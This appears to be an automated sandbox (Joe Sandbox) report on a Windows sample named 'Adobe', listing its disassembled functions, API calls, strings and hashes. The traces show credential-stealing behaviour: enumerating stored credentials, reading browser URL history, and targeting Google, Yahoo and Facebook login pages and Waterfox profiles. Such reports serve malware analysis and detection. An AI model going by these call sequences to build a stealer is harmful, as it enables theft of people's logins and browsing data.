                                                                                          • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                        • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                        • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                        • DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                        • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                          • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                          • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                          • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                          • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                        • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                        • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                        • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                        • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                        • CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                        • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                        • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                        • String ID: bhv
                                                                                        • API String ID: 4234240956-2689659898
                                                                                        • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                        • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                        • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                                                                                        • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                        Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 691 413f4f-413f52 692 413fa5 691->692 693 413f54-413f5a call 40a804 691->693 695 413f5f-413fa4 GetProcAddress * 5 693->695 695->692
                                                                                        APIs
                                                                                          • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                          • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                          • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                          • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        • GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                        • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                        • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                        • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                        • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                        • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                        • API String ID: 2941347001-70141382
                                                                                        • Opcode ID: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                        • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                        • Opcode Fuzzy Hash: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                        • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                        Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 696 4466f4-44670e call 446904 GetModuleHandleA 699 446710-44671b 696->699 700 44672f-446732 696->700 699->700 701 44671d-446726 699->701 702 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 700->702 704 446747-44674b 701->704 705 446728-44672d 701->705 710 4467ac-4467b7 __setusermatherr 702->710 711 4467b8-44680e call 4468f0 _initterm __wgetmainargs _initterm 702->711 704->700 706 44674d-44674f 704->706 705->700 708 446734-44673b 705->708 709 446755-446758 706->709 708->700 712 44673d-446745 708->712 709->702 710->711 715 446810-446819 711->715 716 44681e-446825 711->716 712->709 717 4468d8-4468dd call 44693d 715->717 718 446827-446832 716->718 719 44686c-446870 716->719 722 446834-446838 718->722 723 44683a-44683e 718->723 720 446845-44684b 719->720 721 446872-446877 719->721 725 446853-446864 GetStartupInfoW 720->725 726 44684d-446851 720->726 721->719 722->718 722->723 723->720 727 446840-446842 723->727 729 446866-44686a 725->729 730 446879-44687b 725->730 726->725 726->727 727->720 731 44687c-446894 GetModuleHandleA call 41276d 729->731 730->731 734 446896-446897 exit 731->734 735 44689d-4468d6 _cexit 731->735 734->735 735->717
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
                                                                                        • String ID:
                                                                                        • API String ID: 2827331108-0
                                                                                        • Opcode ID: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                        • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                                                                                        • Opcode Fuzzy Hash: 7ba7b2652c13871cd0d5cae79e0f4a701fe2602556b2c3d333f15f3a91922bbb
                                                                                        • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                                                                                        Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040C298
                                                                                          • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                          • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                          • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                        • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                        • wcschr.MSVCRT ref: 0040C324
                                                                                        • wcschr.MSVCRT ref: 0040C344
                                                                                        • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                        • GetLastError.KERNEL32 ref: 0040C373
                                                                                        • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                        • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstLast
                                                                                        • String ID: visited:
                                                                                        • API String ID: 1157525455-1702587658
                                                                                        • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                        • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                        • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                                                                                        • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                        Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 762 40e175-40e1a1 call 40695d call 406b90 767 40e1a7-40e1e5 memset 762->767 768 40e299-40e2a8 call 4069a3 762->768 770 40e1e8-40e1fa call 406e8f 767->770 774 40e270-40e27d call 406b53 770->774 775 40e1fc-40e219 call 40dd50 * 2 770->775 774->770 780 40e283-40e286 774->780 775->774 786 40e21b-40e21d 775->786 783 40e291-40e294 call 40aa04 780->783 784 40e288-40e290 free 780->784 783->768 784->783 786->774 787 40e21f-40e235 call 40742e 786->787 787->774 790 40e237-40e242 call 40aae3 787->790 790->774 793 40e244-40e26b _snwprintf call 40a8d0 790->793 793->774
                                                                                        APIs
                                                                                          • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                        • memset.MSVCRT ref: 0040E1BD
                                                                                          • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                        • free.MSVCRT ref: 0040E28B
                                                                                          • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                          • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                          • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                        • _snwprintf.MSVCRT ref: 0040E257
                                                                                          • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                          • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                          • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                        • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                        • API String ID: 2804212203-2982631422
                                                                                        • Opcode ID: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                        • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                        • Opcode Fuzzy Hash: 3292a8bc8b2a8f6d115ff62c82a82f0362dff8113198451487ff657a70090be0
                                                                                        • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                        Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                          • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                          • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                          • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                        • memset.MSVCRT ref: 0040BC75
                                                                                        • memset.MSVCRT ref: 0040BC8C
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                        • memcmp.MSVCRT(?,00000000,00000005,?,?,?,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE), ref: 0040BCD6
                                                                                        • memcpy.MSVCRT(00000024,?,00000020,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD2B
                                                                                        • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                                                                                        • String ID:
                                                                                        • API String ID: 115830560-3916222277
                                                                                        • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                        • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                        • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                                                                                        • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                        Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 847 41837f-4183bf 848 4183c1-4183cc call 418197 847->848 849 4183dc-4183ec call 418160 847->849 854 4183d2-4183d8 848->854 855 418517-41851d 848->855 856 4183f6-41840b 849->856 857 4183ee-4183f1 849->857 854->849 858 418417-418423 856->858 859 41840d-418415 856->859 857->855 860 418427-418442 call 41739b 858->860 859->860 863 418444-41845d CreateFileW 860->863 864 41845f-418475 CreateFileA 860->864 865 418477-41847c 863->865 864->865 866 4184c2-4184c7 865->866 867 41847e-418495 GetLastError free 865->867 870 4184d5-418501 memset call 418758 866->870 871 4184c9-4184d3 866->871 868 4184b5-4184c0 call 444706 867->868 869 418497-4184b3 call 41837f 867->869 868->855 869->855 877 418506-418515 free 870->877 871->870 877->855
                                                                                        APIs
                                                                                        • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                        • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                        • GetLastError.KERNEL32 ref: 0041847E
                                                                                        • free.MSVCRT ref: 0041848B
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateFile$ErrorLastfree
                                                                                        • String ID: |A
                                                                                        • API String ID: 77810686-1717621600
                                                                                        • Opcode ID: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                        • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                                                                                        • Opcode Fuzzy Hash: b73738cfafb11dafaf653c45b8d30767a4f0487cb759c2014a2d8a4f30590433
                                                                                        • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                                                                                        Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0041249C
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00002A88), ref: 004124D2
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000350), ref: 00412510
                                                                                        • GetModuleHandleW.KERNEL32(00000000,0000000E), ref: 00412582
                                                                                        • LoadIconW.USER32(00000000,00000065), ref: 0041258B
                                                                                        • wcscpy.MSVCRT ref: 004125A0
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                                                                                        • String ID: r!A
                                                                                        • API String ID: 2791114272-628097481
                                                                                        • Opcode ID: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                        • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                                                                                        • Opcode Fuzzy Hash: c8dffcb2de6473715ddac6d72e3c76979a49d8854762dd44dbb162fd21f04a95
                                                                                        • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                                                                                        Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1AE
                                                                                          • Part of subcall function 0040B1AB: free.MSVCRT ref: 0040B1B6
                                                                                          • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                          • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                                                                                          • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                          • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                                                                                          • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                                                                                          • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                          • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                                                                                          • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                                                                                          • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                          • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                                                                                          • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                                                                                          • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                        • _wcslwr.MSVCRT ref: 0040C817
                                                                                          • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                                                                                          • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                                                                                        • wcslen.MSVCRT ref: 0040C82C
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$free$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                                                                                        • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                        • API String ID: 2936932814-4196376884
                                                                                        • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                        • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                                                                                        • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                                                                                        • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                                                                                        Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                                                                                        • FindResourceW.KERNELBASE(00000000,00000032,BIN), ref: 0040B5B6
                                                                                        • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                        • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                        • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                        • memcpy.MSVCRT(00000000,00000000,00000000), ref: 0040B60D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                        • String ID: BIN
                                                                                        • API String ID: 1668488027-1015027815
                                                                                        • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                        • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                        • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                                                                                        • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                        Function 0040BDB0 Relevance: 12.2, APIs: 8, Instructions: 151COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 00404398
                                                                                          • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043AC
                                                                                          • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043BF
                                                                                          • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043D3
                                                                                          • Part of subcall function 00404363: GetProcAddress.KERNEL32(?,00000000), ref: 004043E7
                                                                                        • CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 0040BDE9
                                                                                        • wcslen.MSVCRT ref: 0040BE06
                                                                                        • wcsncmp.MSVCRT ref: 0040BE38
                                                                                        • memset.MSVCRT ref: 0040BE91
                                                                                        • memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                        • _wcsnicmp.MSVCRT ref: 0040BEFC
                                                                                        • wcschr.MSVCRT ref: 0040BF24
                                                                                        • LocalFree.KERNEL32(?,?,?,?,00000001,?,?,?,00000000,?), ref: 0040BF48
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$CredEnumerateFreeLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
                                                                                        • String ID:
                                                                                        • API String ID: 697348961-0
                                                                                        • Opcode ID: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                        • Instruction ID: 79a9ca8399314c5bcb3e205da5602351372edcdcc58f79068602210d8f55f42f
                                                                                        • Opcode Fuzzy Hash: 4320d3521706fdf8c6ed48fb05be967b0956d3d4dbd01890db6896aba47bd834
                                                                                        • Instruction Fuzzy Hash: 1851E9B5D002099FCF20DFA5C8859AEBBF9FF48304F10452AE919F7251E734A9458F69
                                                                                        Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00403CBF
                                                                                        • memset.MSVCRT ref: 00403CD4
                                                                                        • memset.MSVCRT ref: 00403CE9
                                                                                        • memset.MSVCRT ref: 00403CFE
                                                                                        • memset.MSVCRT ref: 00403D13
                                                                                          • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                          • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                          • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                          • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                        • memset.MSVCRT ref: 00403DDA
                                                                                          • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                          • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                        • String ID: Waterfox$Waterfox\Profiles
                                                                                        • API String ID: 3527940856-11920434
                                                                                        • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                        • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                                                                                        • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                                                                                        • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                                                                                        Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00403E50
                                                                                        • memset.MSVCRT ref: 00403E65
                                                                                        • memset.MSVCRT ref: 00403E7A
                                                                                        • memset.MSVCRT ref: 00403E8F
                                                                                        • memset.MSVCRT ref: 00403EA4
                                                                                          • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                          • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                          • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                          • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                          • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                          • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
